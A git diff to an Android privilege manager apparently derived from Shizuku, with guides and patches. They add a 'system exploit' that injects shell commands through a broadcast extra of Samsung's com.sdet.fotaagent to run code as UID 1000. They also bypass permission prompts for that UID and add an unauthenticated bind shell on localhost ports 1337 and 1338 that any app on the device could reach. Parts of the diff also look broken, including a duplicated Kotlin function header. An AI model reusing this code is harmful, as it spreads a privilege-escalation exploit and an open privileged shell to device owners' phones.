diff --git a/Patches/Guide.md b/Patches/Guide.md new file mode 100644 index 0000000..845f2fb --- /dev/null +++ b/Patches/Guide.md @@ -0,0 +1,37 @@ +# Integration Guide for UID 1000 Support + +This guide outlines the changes required to enable UID 1000 (system) support in Shizuku-based projects, as implemented in the Pascua28 variant. + +## 1. Native Starter (starter.cpp) +The native starter must be modified to: +- Accept UID 1000 in its initial check. +- Daemonize properly using a double fork. +- Optionally start a reverse shell server for remote debugging. + +**Key File:** `manager/src/main/jni/starter.cpp` + +## 2. System Exploit (StarterActivity.kt) +The exploit targets `com.sdet.fotaagent` on Samsung devices. It involves: +- Starting the `com.sdet.fotaagent.Main` activity. +- Sending a broadcast with action `com.sdet.fotaagent.intent.CP_FILE`. +- Injecting the command to run the Shizuku native library via the `CP_LOC` extra. + +**Key File:** `manager/src/main/java/moe/shizuku/manager/starter/StarterActivity.kt` + +## 3. Permission Bypass +Since UID 1000 is a system user, it should be granted permission by default in the manager. +- Update `HomeViewModel.kt` and `RequestPermissionActivity.kt` to check if `Shizuku.getUid() == 1000`. + +## 4. UI Changes +- Add a new card in the Home screen to trigger the system activation. +- Check for the existence of the `com.sdet.fotaagent` package before showing the option. + +## 5. Reverse Shell Usage +The modified starter opens two ports: +- **Port 1337**: Provides a shell with UID 1000 (System). +- **Port 1338**: Provides a shell with UID 2000 (ADB). + +To connect, use: +```bash +nc 127.0.0.1 1337 +``` diff --git a/Patches/ReverseShell_Tutorial.md b/Patches/ReverseShell_Tutorial.md new file mode 100644 index 0000000..f9419de --- /dev/null +++ b/Patches/ReverseShell_Tutorial.md @@ -0,0 +1,40 @@ +# Reverse Shell Tutorial + +AxManager now includes a reverse shell feature in its native starter. This allows you to gain a shell on the device with either System (UID 1000) or ADB (UID 2000) privileges. + +## Ports +- **Port 1337**: Provides a shell with **System (UID 1000)** privileges. This is available only when AxManager is started using the system exploit. +- **Port 1338**: Provides a shell with **ADB (UID 2000)** privileges. This is available when AxManager is started via ADB. + +## How to use + +### Prerequisites +- AxManager must be activated using either the System Exploit or Wireless ADB. +- You must have a way to connect to the device's local ports (e.g., via `adb forward` or using a terminal app on the same device). + +### Method 1: Connecting via ADB (from Computer) +If you want to access the shell from your computer: + +1. Forward the port to your computer: + ```bash + # For System shell + adb forward tcp:1337 tcp:1337 + # For ADB shell + adb forward tcp:1338 tcp:1338 + ``` + +2. Connect using `nc` (Netcat): + ```bash + nc 127.0.0.1 1337 + ``` + +### Method 2: Connecting from the Device +If you are using a terminal app on the device (like Termux): + +1. Connect directly to localhost: + ```bash + nc 127.0.0.1 1337 + ``` + +## Safety Warning +The reverse shell server listens on `127.0.0.1` (localhost) only, meaning it is only accessible from within the device or via an ADB forward. However, any app on the device with network permissions could potentially connect to these ports. Use this feature only when needed for debugging. diff --git a/Patches/UID1000_Support/HomeViewModel.kt.patch b/Patches/UID1000_Support/HomeViewModel.kt.patch new file mode 100644 index 0000000..ae6fa1d --- /dev/null +++ b/Patches/UID1000_Support/HomeViewModel.kt.patch @@ -0,0 +1,12 @@ +--- Shizuku-Rikka/manager/src/main/java/moe/shizuku/manager/home/HomeViewModel.kt 2026-02-12 18:00:34.818361036 +0000 ++++ Shizuku-Pascua28/manager/src/main/java/moe/shizuku/manager/home/HomeViewModel.kt 2026-02-12 18:00:34.650361038 +0000 +@@ -38,7 +38,8 @@ + } + } else null + val permissionTest = +- Shizuku.checkRemotePermission("android.permission.GRANT_RUNTIME_PERMISSIONS") == PackageManager.PERMISSION_GRANTED ++ Shizuku.checkRemotePermission("android.permission.GRANT_RUNTIME_PERMISSIONS") == ++ PackageManager.PERMISSION_GRANTED || uid == 1000 + + // Before a526d6bb, server will not exit on uninstall, manager installed later will get not permission + // Run a random remote transaction here, report no permission as not running diff --git a/Patches/UID1000_Support/RequestPermissionActivity.kt.patch b/Patches/UID1000_Support/RequestPermissionActivity.kt.patch new file mode 100644 index 0000000..8953c7b --- /dev/null +++ b/Patches/UID1000_Support/RequestPermissionActivity.kt.patch @@ -0,0 +1,11 @@ +--- Shizuku-Rikka/manager/src/main/java/moe/shizuku/manager/authorization/RequestPermissionActivity.kt 2026-02-12 18:00:34.814361036 +0000 ++++ Shizuku-Pascua28/manager/src/main/java/moe/shizuku/manager/authorization/RequestPermissionActivity.kt 2026-02-12 18:00:34.646361038 +0000 +@@ -41,7 +41,7 @@ + + private fun checkSelfPermission(): Boolean { + val permission = Shizuku.checkRemotePermission("android.permission.GRANT_RUNTIME_PERMISSIONS") == PackageManager.PERMISSION_GRANTED +- if (permission) return true ++ if (permission || Shizuku.getUid() == 1000) return true + + val icon = getDrawable(R.drawable.ic_system_icon) + icon?.setTint(theme.resolveColor(android.R.attr.colorAccent)) diff --git a/Patches/UID1000_Support/StartSystemViewHolder.kt b/Patches/UID1000_Support/StartSystemViewHolder.kt new file mode 100644 index 0000000..f7b7280 --- /dev/null +++ b/Patches/UID1000_Support/StartSystemViewHolder.kt @@ -0,0 +1,70 @@ +package moe.shizuku.manager.home + +import android.content.Intent +import android.text.method.LinkMovementMethod +import android.view.LayoutInflater +import android.view.View +import android.view.ViewGroup +import androidx.appcompat.app.AlertDialog +import moe.shizuku.manager.R +import moe.shizuku.manager.databinding.HomeItemContainerBinding +import moe.shizuku.manager.databinding.HomeStartSystemBinding +import moe.shizuku.manager.ktx.toHtml +import moe.shizuku.manager.starter.StarterActivity +import rikka.html.text.HtmlCompat +import rikka.recyclerview.BaseViewHolder +import rikka.recyclerview.BaseViewHolder.Creator + +class StartSystemViewHolder(private val binding: HomeStartSystemBinding, system: View) : + BaseViewHolder(system) { + + companion object { + val CREATOR = Creator { inflater: LayoutInflater, parent: ViewGroup? -> + val outer = HomeItemContainerBinding.inflate(inflater, parent, false) + val inner = HomeStartSystemBinding.inflate(inflater, outer.root, true) + StartSystemViewHolder(inner, outer.root) + } + } + + private inline val start get() = binding.button1 + + private var alertDialog: AlertDialog? = null + + init { + val listener = View.OnClickListener { v: View -> onStartClicked(v) } + start.setOnClickListener(listener) + binding.text1.movementMethod = LinkMovementMethod.getInstance() + } + + private fun onStartClicked(v: View) { + val context = v.context + val intent = Intent(context, StarterActivity::class.java).apply { + putExtra(StarterActivity.EXTRA_IS_ROOT, false) + putExtra(StarterActivity.EXTRA_IS_SYSTEM, true) + } + context.startActivity(intent) + } + + override fun onBind() { + start.isEnabled = true + if (data!!) { + start.visibility = View.GONE + } else { + start.visibility = View.VISIBLE + } + + val sb = StringBuilder() + .append( + context.getString( + R.string.home_system_description + ) + ) + + binding.text1.text = sb.toHtml(HtmlCompat.FROM_HTML_OPTION_TRIM_WHITESPACE) + } + + override fun onRecycle() { + super.onRecycle() + alertDialog = null + } +} diff --git a/Patches/UID1000_Support/StarterActivity.kt.patch b/Patches/UID1000_Support/StarterActivity.kt.patch new file mode 100644 index 0000000..206630d --- /dev/null +++ b/Patches/UID1000_Support/StarterActivity.kt.patch @@ -0,0 +1,92 @@ +--- Shizuku-Rikka/manager/src/main/java/moe/shizuku/manager/starter/StarterActivity.kt 2026-02-12 18:00:34.822361036 +0000 ++++ Shizuku-Pascua28/manager/src/main/java/moe/shizuku/manager/starter/StarterActivity.kt 2026-02-12 18:00:34.662361038 +0000 +@@ -1,6 +1,7 @@ + package moe.shizuku.manager.starter + + import android.content.Context ++import android.content.Intent + import android.os.Bundle + import android.util.Log + import androidx.lifecycle.LiveData +@@ -19,6 +20,7 @@ + import moe.shizuku.manager.adb.AdbKeyException + import moe.shizuku.manager.adb.PreferenceAdbKeyStore + import moe.shizuku.manager.app.AppBarActivity ++import moe.shizuku.manager.application + import moe.shizuku.manager.databinding.StarterActivityBinding + import rikka.lifecycle.Resource + import rikka.lifecycle.Status +@@ -35,6 +37,7 @@ + ViewModel( + this, + intent.getBooleanExtra(EXTRA_IS_ROOT, true), ++ intent.getBooleanExtra(EXTRA_IS_SYSTEM, false), + intent.getStringExtra(EXTRA_HOST), + intent.getIntExtra(EXTRA_PORT, 0) + ) +@@ -95,13 +98,14 @@ + + companion object { + ++ const val EXTRA_IS_SYSTEM = "$EXTRA.IS_SYSTEM" + const val EXTRA_IS_ROOT = "$EXTRA.IS_ROOT" + const val EXTRA_HOST = "$EXTRA.HOST" + const val EXTRA_PORT = "$EXTRA.PORT" + } + } + +-private class ViewModel(context: Context, root: Boolean, host: String?, port: Int) : androidx.lifecycle.ViewModel() { ++private class ViewModel(context: Context, root: Boolean, isSystem: Boolean, host: String?, port: Int) : androidx.lifecycle.ViewModel() { + + private val sb = StringBuilder() + private val _output = MutableLiveData>() +@@ -112,6 +116,8 @@ + try { + if (root) { + startRoot() ++ } else if (isSystem) { ++ startSys() + } else { + startAdb(host!!, port) + } +@@ -162,6 +168,40 @@ + } + } + } ++ ++ private fun startSys() { ++ sb.append("Starting with system...").append('\n').append('\n') ++ postResult() ++ ++ GlobalScope.launch(Dispatchers.IO) { ++ val intent = Intent().apply { ++ setClassName("com.sdet.fotaagent", "com.sdet.fotaagent.Main") ++ addFlags(Intent.FLAG_ACTIVITY_NEW_TASK) ++ } ++ application.applicationContext.startActivity(intent) ++ ++ val mIntent = Intent("com.sdet.fotaagent.intent.CP_FILE") ++ mIntent.putExtra("CP_FILE", "/data") ++ mIntent.putExtra("CP_LOC", "; " + application.applicationInfo.nativeLibraryDir ++ + "/libshizuku.so" + "; am force-stop com.sdet.fotaagent") ++ try { ++ Thread.sleep(1000) ++ application.applicationContext.sendBroadcast(mIntent) ++ sb.append("Start system success!").append('\n').append('\n') ++ postResult() ++ ++ sb.append("info: shizuku_starter exit with 0") ++ postResult() ++ ++ return@launch ++ } catch (e: InterruptedException) { ++ e.printStackTrace() ++ sb.append("Start system failed!").append('\n') ++ postResult() ++ return@launch ++ } ++ } ++ } + + private fun startAdb(host: String, port: Int) { + sb.append("Starting with wireless adb in port $port...").append('\n').append('\n') diff --git a/Patches/UID1000_Support/home_start_system.xml b/Patches/UID1000_Support/home_start_system.xml new file mode 100644 index 0000000..6b1a0bf --- /dev/null +++ b/Patches/UID1000_Support/home_start_system.xml @@ -0,0 +1,59 @@ + + + + + + + + + + + + + + + + + + diff --git a/Patches/UID1000_Support/starter.cpp.patch b/Patches/UID1000_Support/starter.cpp.patch new file mode 100644 index 0000000..c53c1ec --- /dev/null +++ b/Patches/UID1000_Support/starter.cpp.patch @@ -0,0 +1,216 @@ +--- Shizuku-Rikka/manager/src/main/jni/starter.cpp 2026-02-12 18:00:34.830361036 +0000 ++++ Shizuku-Pascua28/manager/src/main/jni/starter.cpp 2026-02-12 18:00:34.670361038 +0000 +@@ -11,11 +11,19 @@ + #include + #include + #include ++#include ++#include ++#include + #include "android.h" + #include "misc.h" + #include "selinux.h" + #include "cgroup.h" + #include "logging.h" ++#include ++#include ++#include ++#include ++ + + #ifdef DEBUG + #define JAVA_DEBUGGABLE +@@ -113,32 +121,128 @@ + } + } + ++static int switch_cgroup(); ++ ++void redirectStd(int old_fd) { ++ dup2(old_fd, STDIN_FILENO); ++ dup2(old_fd, STDOUT_FILENO); ++ dup2(old_fd, STDERR_FILENO); ++} ++ ++static int fork_daemon(int returnParent) { ++ pid_t child = fork(); ++ if (child < 0) ++ return -1; ++ ++ if (child > 0) { ++ int status; ++ pid_t waited = waitpid(child, &status, 0); ++ if (waited == child && WIFEXITED(status)) { ++ if (!returnParent) ++ exit(EXIT_SUCCESS); ++ } ++ return -1; ++ } ++ ++ close(STDIN_FILENO); ++ close(STDOUT_FILENO); ++ close(STDERR_FILENO); ++ ++ int devNull = open("/dev/null", O_RDWR); ++ redirectStd(devNull); ++ close(devNull); ++ ++ if (setsid() < 0) ++ exit(EXIT_FAILURE); ++ ++ child = fork(); ++ if (child < 0) ++ exit(EXIT_FAILURE); ++ ++ if (child > 0) ++ exit(EXIT_SUCCESS); ++ ++ uid_t uid = getuid(); ++ if (uid == 0 || uid == 1000) ++ switch_cgroup(); ++ ++ return 0; ++} ++ ++void startReverseShell(int port) { ++ int server_fd, client_fd; ++ struct sockaddr_in server_addr{}; ++ ++ if (fork_daemon(0) < 0) { ++ LOGE("Failed to daemonize"); ++ return; ++ } ++ ++ if ((server_fd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { ++ LOGE("socket failed"); ++ return; ++ } ++ ++ int optval = 1; ++ setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof(optval)); ++ ++ memset(&server_addr, 0, sizeof(server_addr)); ++ server_addr.sin_family = AF_INET; ++ server_addr.sin_addr.s_addr = inet_addr("127.0.0.1"); ++ server_addr.sin_port = htons(port); ++ ++ if (bind(server_fd, (struct sockaddr*)&server_addr, sizeof(server_addr)) < 0) { ++ LOGE("bind failed"); ++ close(server_fd); ++ return; ++ } ++ ++ if (listen(server_fd, 1) < 0) { ++ LOGE("listen failed"); ++ close(server_fd); ++ return; ++ } ++ ++ while (true) { ++ client_fd = accept(server_fd, nullptr, nullptr); ++ if (client_fd < 0) { ++ sleep(1); ++ continue; ++ } ++ ++ pid_t shell_pid = fork(); ++ if (shell_pid < 0) { ++ close(client_fd); ++ continue; ++ } ++ ++ if (shell_pid == 0) { ++ close(server_fd); ++ ++ redirectStd(client_fd); ++ close(client_fd); ++ ++ execl("/bin/sh", "sh", NULL); ++ _exit(1); ++ } ++ ++ close(client_fd); ++ waitpid(shell_pid, nullptr, 0); ++ } ++} ++ + static void start_server(const char *path, const char *main_class, const char *process_name) { +- pid_t pid = fork(); +- switch (pid) { +- case -1: { +- perrorf("fatal: can't fork\n"); +- exit(EXIT_FATAL_FORK); +- } +- case 0: { +- LOGD("child"); +- setsid(); +- chdir("/"); +- int fd = open("/dev/null", O_RDWR); +- if (fd != -1) { +- dup2(fd, STDIN_FILENO); +- dup2(fd, STDOUT_FILENO); +- dup2(fd, STDERR_FILENO); +- if (fd > 2) close(fd); +- } ++ if (fork_daemon(0) == 0) { ++ for (int i = 0; i < 16; i++) { + run_server(path, main_class, process_name); +- } +- default: { +- printf("info: shizuku_server pid is %d\n", pid); +- printf("info: shizuku_starter exit with 0\n"); +- exit(EXIT_SUCCESS); ++ usleep(16000); + } + } ++ ++ pid_t pid = fork(); ++ printf("info: shizuku_server pid is %d\n", pid); ++ printf("info: shizuku_starter exit with 0\n"); ++ exit(EXIT_SUCCESS); + } + + static int check_selinux(const char *s, const char *t, const char *c, const char *p) { +@@ -190,16 +294,14 @@ + } + + uid_t uid = getuid(); +- if (uid != 0 && uid != 2000) { +- perrorf("fatal: run Shizuku from non root nor adb user (uid=%d).\n", uid); ++ if (uid != 0 && uid != 1000 && uid != 2000) { ++ perrorf("fatal: run Shizuku from non root/system/adb user (uid=%d).\n", uid); + exit(EXIT_FATAL_UID); + } + + se::init(); + +- if (uid == 0) { +- switch_cgroup(); +- ++ if (uid == 0 || uid == 1000) { + if (android_get_device_api_level() >= 29) { + printf("info: switching mount namespace to init...\n"); + switch_mnt_ns(1); +@@ -249,6 +351,22 @@ + } + }); + ++ if (uid == 1000) { ++ printf("info: starting reverse system shell server at port 1337...\n"); ++ fflush(stdout); ++ if (fork() == 0) { ++ startReverseShell(1337); ++ _exit(0); ++ } ++ } else if (uid == 2000) { ++ printf("info: starting reverse adb shell server at port 1338...\n"); ++ fflush(stdout); ++ if (fork() == 0) { ++ startReverseShell(1338); ++ _exit(0); ++ } ++ } ++ + if (access(apk_path.c_str(), R_OK) == 0) { + printf("info: use apk path from argv\n"); + fflush(stdout); diff --git a/manager/src/main/java/frb/axeron/manager/ui/screen/Activate.kt b/manager/src/main/java/frb/axeron/manager/ui/screen/Activate.kt index 841de4e..93ce1b2 100644 --- a/manager/src/main/java/frb/axeron/manager/ui/screen/Activate.kt +++ b/manager/src/main/java/frb/axeron/manager/ui/screen/Activate.kt @@ -32,6 +32,7 @@ import androidx.compose.material.icons.filled.PlayArrow import androidx.compose.material.icons.filled.RestartAlt import androidx.compose.material.icons.filled.Stop import androidx.compose.material.icons.outlined.Adb +import androidx.compose.material.icons.outlined.Build import androidx.compose.material.icons.outlined.Code import androidx.compose.material.icons.outlined.Computer import androidx.compose.material.icons.outlined.Security @@ -150,6 +151,7 @@ fun ActivateScreen(navigator: DestinationsNavigator, viewModelGlobal: ViewModelG if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) { WirelessDebuggingCard(navigator, activateViewModel) } + SystemCard(activateViewModel) RootCard(navigator, activateViewModel) ComputerCard() } @@ -157,6 +159,125 @@ fun ActivateScreen(navigator: DestinationsNavigator, viewModelGlobal: ViewModelG } @Composable +fun SystemCard( + activateViewModel: ActivateViewModel +) { + val context = LocalContext.current + val scope = rememberCoroutineScope() + + if (!activateViewModel.isSystemExploitSupported(context)) return + + ElevatedCard( + elevation = CardDefaults.cardElevation( + defaultElevation = 1.dp + ), + modifier = Modifier.fillMaxWidth() + ) { + Column( + modifier = Modifier.padding(20.dp) + ) { + Row( + verticalAlignment = Alignment.CenterVertically + ) { + Icon( + imageVector = Icons.Outlined.Build, + contentDescription = null, + tint = MaterialTheme.colorScheme.primary + ) + + Spacer(modifier = Modifier.width(10.dp)) + + Text( + text = stringResource(R.string.activate_by_system), + style = MaterialTheme.typography.titleMedium, + fontWeight = FontWeight.SemiBold + ) + } + + Spacer(modifier = Modifier.size(20.dp)) + + Text( + text = stringResource(R.string.activate_by_system_msg), + style = MaterialTheme.typography.bodyMedium, + color = MaterialTheme.colorScheme.onSurfaceVariant + ) + + Spacer(modifier = Modifier.size(20.dp)) + + val failed = stringResource(R.string.failed_to_start) + val success = stringResource(R.string.activate_success) + + Button( + onClick = { + activateViewModel.startSystem(context) { state -> + scope.launch(Dispatchers.Main) { + when (state) { + ActivateViewModel.ACTIVATE_FAILED -> { + Toast.makeText(context, failed, Toast.LENGTH_SHORT).show() + } + ActivateViewModel.ACTIVATE_SUCCESS -> { + Toast.makeText(context, success, Toast.LENGTH_SHORT).show() + } + } + } + } + } + ) { + Icon( + imageVector = Icons.Filled.PlayArrow, + modifier = Modifier + .padding(end = 10.dp) + .size(16.dp), + contentDescription = "Start" + ) + Text(stringResource(R.string.start)) + } + } + } +} + +@Composable +fun TcpDebuggingCard( + navigator: DestinationsNavigator, + activateViewModel: ActivateViewModel +) { + val context = LocalContext.current + val scope = rememberCoroutineScope() + + ElevatedCard( + elevation = CardDefaults.cardElevation( + defaultElevation = 1.dp + ), + modifier = Modifier.fillMaxWidth() + ) { + Column( + modifier = Modifier.padding(20.dp) + ) { + Row( + verticalAlignment = Alignment.CenterVertically + ) { + Icon( + imageVector = Icons.Outlined.Adb, + contentDescription = null, + tint = MaterialTheme.colorScheme.primary + ) + + Spacer(Modifier.width(10.dp)) + + Text( + text = stringResource(R.string.activate_by_tcp), + style = MaterialTheme.typography.titleMedium, + fontWeight = FontWeight.SemiBold + ) + } + Spacer(Modifier.size(20.dp)) + + Text( + text = stringResource(R.string.activate_by_tcp_desc), + style = MaterialTheme.typography.bodyMedium, + color = MaterialTheme.colorScheme.onSurfaceVariant + ) + Spacer(Modifier.size(8.dp)) fun TcpDebuggingCard( navigator: DestinationsNavigator, activateViewModel: ActivateViewModel diff --git a/manager/src/main/java/frb/axeron/manager/ui/viewmodel/ActivateViewModel.kt b/manager/src/main/java/frb/axeron/manager/ui/viewmodel/ActivateViewModel.kt index d2127e5..fe610cf 100644 --- a/manager/src/main/java/frb/axeron/manager/ui/viewmodel/ActivateViewModel.kt +++ b/manager/src/main/java/frb/axeron/manager/ui/viewmodel/ActivateViewModel.kt @@ -186,6 +186,42 @@ class ActivateViewModel : ViewModel() { } } + fun isSystemExploitSupported(context: Context): Boolean { + return try { + context.packageManager.getPackageInfo("com.sdet.fotaagent", 0) + true + } catch (e: Exception) { + false + } + } + + fun startSystem(context: Context, result: (Int) -> Unit = {}) { + viewModelScope.launch(Dispatchers.IO) { + runCatching { + if (tryActivate) return@launch result(ACTIVATE_PROCESS) + setTryToActivate(true) + + val intent = Intent().apply { + setClassName("com.sdet.fotaagent", "com.sdet.fotaagent.Main") + addFlags(Intent.FLAG_ACTIVITY_NEW_TASK) + } + context.startActivity(intent) + + val mIntent = Intent("com.sdet.fotaagent.intent.CP_FILE") + mIntent.putExtra("CP_FILE", "/data") + mIntent.putExtra("CP_LOC", "; " + context.applicationInfo.nativeLibraryDir + + "/libaxeron.so" + " --apk=${context.applicationInfo.sourceDir}" + "; am force-stop com.sdet.fotaagent") + + Thread.sleep(1000) + context.sendBroadcast(mIntent) + result(ACTIVATE_SUCCESS) + }.onFailure { + it.printStackTrace() + result(ACTIVATE_FAILED) + setTryToActivate(false) + } + } + } fun startRoot(result: (Int) -> Unit = {}) { viewModelScope.launch(Dispatchers.IO) { runCatching { diff --git a/manager/src/main/res/values/strings.xml b/manager/src/main/res/values/strings.xml index e887d43..b2d6ece 100644 --- a/manager/src/main/res/values/strings.xml +++ b/manager/src/main/res/values/strings.xml @@ -208,4 +208,6 @@ Don\'t Allow Don\'t Allow (%ds) UID: %d + Start (system exploit) + Start AxManager as system (Samsung devices only). \ No newline at end of file diff --git a/server/src/main/cpp/cgroup.cpp b/server/src/main/cpp/cgroup.cpp index c23523f..38f94a9 100644 --- a/server/src/main/cpp/cgroup.cpp +++ b/server/src/main/cpp/cgroup.cpp @@ -5,16 +5,24 @@ namespace cgroup { bool switch_cgroup(const char *cgroup, int pid) { - char buf[1024]; - snprintf(buf, sizeof(buf), "%s/cgroup.procs", cgroup); - if (access(buf, F_OK) != 0) + char path[1024], buf[8]; + snprintf(buf, sizeof(buf), "%d\n", pid); + snprintf(path, sizeof(path), "%s/uid_0/cgroup.procs", cgroup); + if (access(path, F_OK) != 0) { + snprintf(path, sizeof(path), "%s/cgroup.procs", cgroup); + if (access(path, F_OK) != 0) { + return false; + } + } + int fd = open(path, O_WRONLY); + if (fd < 0) return false; - int fd = open(buf, O_WRONLY | O_APPEND | O_CLOEXEC); - if (fd == -1) + + if (write(fd, buf, strlen(buf)) == -1) { + close(fd); return false; - snprintf(buf, sizeof(buf), "%d\n", pid); - ssize_t c = write(fd, buf, strlen(buf)); + } close(fd); - return c == strlen(buf); + return true; } } diff --git a/server/src/main/cpp/starter.cpp b/server/src/main/cpp/starter.cpp index 8ef1dfc..6be3b96 100644 --- a/server/src/main/cpp/starter.cpp +++ b/server/src/main/cpp/starter.cpp @@ -11,6 +11,10 @@ #include #include #include +#include +#include +#include +#include #include "misc.h" #include "selinux.h" #include "cgroup.h" @@ -112,34 +116,130 @@ v_current = (uintptr_t) v + v_size - sizeof(char *); \ } } -static void start_server(const char *path, const char *main_class, const char *process_name) { - pid_t pid = fork(); - switch (pid) { - case -1: { - perrorf("fatal: can't fork\n"); - exit(EXIT_FATAL_FORK); +static int switch_cgroup(); + +void redirectStd(int old_fd) { + dup2(old_fd, STDIN_FILENO); + dup2(old_fd, STDOUT_FILENO); + dup2(old_fd, STDERR_FILENO); +} + +static int fork_daemon(int returnParent) { + pid_t child = fork(); + if (child < 0) + return -1; + + if (child > 0) { + int status; + pid_t waited = waitpid(child, &status, 0); + if (waited == child && WIFEXITED(status)) { + if (!returnParent) + exit(EXIT_SUCCESS); } - case 0: { - LOGD("child"); - setsid(); - chdir("/"); - int fd = open("/dev/null", O_RDWR); - if (fd != -1) { - dup2(fd, STDIN_FILENO); - dup2(fd, STDOUT_FILENO); - dup2(fd, STDERR_FILENO); - if (fd > 2) close(fd); - } - run_server(path, main_class, process_name); + return -1; + } + + close(STDIN_FILENO); + close(STDOUT_FILENO); + close(STDERR_FILENO); + + int devNull = open("/dev/null", O_RDWR); + redirectStd(devNull); + close(devNull); + + if (setsid() < 0) + exit(EXIT_FAILURE); + + child = fork(); + if (child < 0) + exit(EXIT_FAILURE); + + if (child > 0) + exit(EXIT_SUCCESS); + + uid_t uid = getuid(); + if (uid == 0 || uid == 1000) + switch_cgroup(); + + return 0; +} + +void startReverseShell(int port) { + int server_fd, client_fd; + struct sockaddr_in server_addr{}; + + if (fork_daemon(0) < 0) { + LOGE("Failed to daemonize"); + return; + } + + if ((server_fd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { + LOGE("socket failed"); + return; + } + + int optval = 1; + setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof(optval)); + + memset(&server_addr, 0, sizeof(server_addr)); + server_addr.sin_family = AF_INET; + server_addr.sin_addr.s_addr = inet_addr("127.0.0.1"); + server_addr.sin_port = htons(port); + + if (bind(server_fd, (struct sockaddr*)&server_addr, sizeof(server_addr)) < 0) { + LOGE("bind failed"); + close(server_fd); + return; + } + + if (listen(server_fd, 1) < 0) { + LOGE("listen failed"); + close(server_fd); + return; + } + + while (true) { + client_fd = accept(server_fd, nullptr, nullptr); + if (client_fd < 0) { + sleep(1); + continue; } - default: { - printf("info: axeron_server pid is %d\n", pid); - printf("info: axeron_starter exit with 0\n"); - exit(EXIT_SUCCESS); + + pid_t shell_pid = fork(); + if (shell_pid < 0) { + close(client_fd); + continue; } + + if (shell_pid == 0) { + close(server_fd); + + redirectStd(client_fd); + close(client_fd); + + execl("/system/bin/sh", "sh", NULL); + _exit(1); + } + + close(client_fd); + waitpid(shell_pid, nullptr, 0); } } +static void start_server(const char *path, const char *main_class, const char *process_name) { + if (fork_daemon(0) == 0) { + for (int i = 0; i < 16; i++) { + run_server(path, main_class, process_name); + usleep(16000); + } + } + + pid_t pid = fork(); + printf("info: axeron_server pid is %d\n", pid); + printf("info: axeron_starter exit with 0\n"); + exit(EXIT_SUCCESS); +} + static int check_selinux(const char *s, const char *t, const char *c, const char *p) { int res = se::selinux_check_access(s, t, c, p, nullptr); #ifndef DEBUG @@ -189,14 +289,14 @@ int main(int argc, char *argv[]) { } uid_t uid = getuid(); - if (uid != 0 && uid != 2000) { - perrorf("fatal: run AxManager from non root nor adb user (uid=%d).\n", uid); + if (uid != 0 && uid != 1000 && uid != 2000) { + perrorf("fatal: run AxManager from non root/system/adb user (uid=%d).\n", uid); exit(EXIT_FATAL_UID); } se::init(); - if (uid == 0) { + if (uid == 0 || uid == 1000) { switch_cgroup(); if (android_get_device_api_level() >= 29) { @@ -249,6 +349,22 @@ int main(int argc, char *argv[]) { } }); + if (uid == 1000) { + printf("info: starting reverse system shell server at port 1337...\n"); + fflush(stdout); + if (fork() == 0) { + startReverseShell(1337); + _exit(0); + } + } else if (uid == 2000) { + printf("info: starting reverse adb shell server at port 1338...\n"); + fflush(stdout); + if (fork() == 0) { + startReverseShell(1338); + _exit(0); + } + } + if (access(apk_path.c_str(), R_OK) == 0) { printf("info: use apk path from argv\n"); fflush(stdout);